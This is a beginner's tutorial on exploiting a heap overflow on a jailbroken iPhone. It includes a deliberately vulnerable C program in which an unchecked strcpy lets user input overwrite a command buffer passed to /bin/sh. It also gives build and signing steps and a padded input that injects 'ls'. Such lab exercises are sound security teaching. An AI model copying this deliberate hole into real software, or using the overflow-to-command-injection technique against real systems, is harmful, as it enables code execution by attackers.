Simple Heap Overflow on iOS ARM64


Requirements:

Jailbroken iPhone with at least the following packages installed:

OpenSSH

lldb

Warm Up:

First, let’s start writing a simple heap vulnerable program.

Xcode 9 “prohibits” use of system() from iOS #9 on, thus I had to figure out an alternative way for running OS specific commands. Finally I could come up with posix_spawn. Below is our code:

//heapify.c

#import <stdio.h>
#import <string.h>
#import <stdlib.h>
#import <unistd.h>
#import <errno.h>

#include <spawn.h>
#include <sys/wait.h>

extern char **environ;

void run_cmd(char *cmd)
{
pid_t pid;
char *argv[] = {"sh", "-c", cmd, NULL};
int status;
printf("Run command: %s\n", cmd);
status = posix_spawn(&pid, "/bin/sh", NULL, NULL, argv, environ);

if (status == 0) {
            printf("Child pid: %i\n", pid);
            if (waitpid(pid, &status, 0) != -1) {
                        printf("Child exited with status %i\n", status);
                } else {
                        perror("waitpid");
                    }
            } else {
                    printf("posix_spawn: %s\n", strerror(status));
            }
}
int main(int argc, char *argv[]){

if (argc <= 1){

printf("\x1B[31mUsage: ./heapify <username>\x1B[0m\n");

exit(0);

}

char *name = malloc(64);
char *command = malloc(64);

strcpy(command,"date");

strcpy(name,argv[1]);

printf("\x1B[36mUser: %s is executing command \"%s\"\n",name,command);
printf("\x1B[0m");

run_cmd(command);

return 0;

}

Action:

Now let’s compile it with the following command on MacOS:

clang -g heapify.c -o heapify -isysroot 
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS14.4.sdk 
  -arch arm64 -mios-version-min=9.0 -

After compilation, transfer the “heapify” binary into the iOS platform. After connecting to the phone via SSH, you should make it runnable and signed.

chmod +x heapify
ldid -S heapify

Let’s run it and see the regular way of program flow.

Cool, it’s running on iOS without any problem.

We may wish to disassemble the binary and see that malloc function is actually at work here and allocates x40 (64) bytes memory. Strcpy function is obviously vulnerable:

For more info about lldb debugger, you can refer to: https://lldb.llvm.org/use/map.html

Knock out:

Now let’s do some fuzzing with the input of:

./heapify 
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDDEEEEEEEEEEFFFFFFFFFFGGGGGGGGGGHHHHHHHHHHIIIIIIIIIIJJJJJJJJJJKKKKKKKKKKLLLLLLLLLL

As you can see, the input is accepted to somewhere in the middle of ‘G’.

Now, let’s assign our own command instead of “name”:

./heapify 
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDDEEEEEEEEEEFFFFFFFFFFGGGGls

Bingo, our command is successfully injected.

References:

Heap Overflow Exploits for Beginners (ARM exploitation tutorial) by Billy Ellis.